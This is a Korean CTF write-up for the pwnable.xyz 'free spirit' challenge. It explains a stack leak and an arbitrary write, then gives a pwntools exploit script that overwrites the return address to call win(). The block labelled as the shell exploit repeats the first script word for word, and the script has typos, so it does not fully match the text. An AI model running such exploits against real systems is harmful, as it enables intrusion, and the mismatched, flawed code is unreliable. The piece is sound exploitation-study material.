pwn/pwnable.xyz

pwnable.xyz / free spirit

lok2h4rd 2022. 5. 10. 03:19

prob

제목만 보고서는 house of spirit인줄 알았다...ㅎㅎ

 

 

 

 

mitigation

 

main

  1. 스택 영역에 저장된 힙에 0x20만큼 데이터를 받음
  2. 힙 주소가 저장된 스택 주소를 출력한다
  3. 힙 주소를 저장하고 있는 스택 - 8 주소에 힙영역에 쓴 데이터를 저장

 

 

스택 주소를 릭 가능하고 3번을 통해 힙 주소가 저장된 스택 영역을 덮으면 aaw가 발생한다

릭한 주소로 ret주소 계산해서 win함수 출력한다

 

flag

exploit 코드는 아래 더보기

더보기
from pwn import * 


p = process("./free_spirit")
#gdb.attach(p)
win = 0x400a3e

def write(data):
    p.recvuntilb("> ")
    p.sendline(b"1")
    sleep(0.1)
    p.send(data)


def aaw():
    p.recvuntil(b"> ")
    p.sendline(b"3")



# ------ leak stack -----
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)
addr = leak + 0x58
log.info("leak: " + hex(leak))
log.info("ret : " + hex(addr))
log.info("fake_chunk: " + hex(leak + 0x70)) 



# -------- setting aaw------
payload = p64(0)
payload += p64(addr - 0x10)
payload += p64(0)
payload == p64(0)
write(payload)
aaw()

#-------- set fake_chunk-------
payload = p64(0)
payload += p64(leak+0x108)
payload += p64(0x4008e1)
payload += p64(win)
write(payload)

aaw()

payload = p64(0x31)
payload += p64(leak + 0x110)
payload += p64(0)
payload += p64(0)
write(payload)
aaw()

p.recvuntil(b"> ")
p.sendline(b"A")

p.interactive()

 

사실 이 문제는 쉘 따려해서 더 오래걸린 문제다

그냥 주어진 system함수로 rop를 하게되면 이유는 모르겠지만 쉘이 계속 터진다 ( 할 수 있는걸 다 했는대도 터진다.... )

다행이 syscall 가젯이 있어서 puts함수 호출해서 rax를 0x3b로 맞춰주고 execve가 호출되도록 했다

 

shell

exploit 코드는 아래 더보기

더보기
from pwn import * 


p = process("./free_spirit")
#gdb.attach(p)
win = 0x400a3e

def write(data):
    p.recvuntilb("> ")
    p.sendline(b"1")
    sleep(0.1)
    p.send(data)

def aaw():
    p.recvuntil(b"> ")
    p.sendline(b"3")

# ------ leak stack -----
p.recvuntil(b"> ")
p.sendline(b"2")
p.recvuntil(b"0x")
leak = int(p.recv(12), 16)
addr = leak + 0x58
log.info("leak: " + hex(leak))
log.info("ret : " + hex(addr))
log.info("fake_chunk: " + hex(leak + 0x70)) 

# -------- setting aaw------
payload = p64(0)
payload += p64(addr - 0x10)
payload += p64(0)
payload == p64(0)
write(payload)
aaw()

#-------- set fake_chunk-------
payload = p64(0)
payload += p64(leak+0x108)
payload += p64(0x4008e1)
payload += p64(win)
write(payload)
aaw()

payload = p64(0x31)
payload += p64(leak + 0x110)
payload += p64(0)
payload += p64(0)
write(payload)
aaw()

p.recvuntil(b"> ")
p.sendline(b"A")

p.interactive()

 

 

 

 

ps. 쉘이 왜 터지는지도 확인해봐야겠다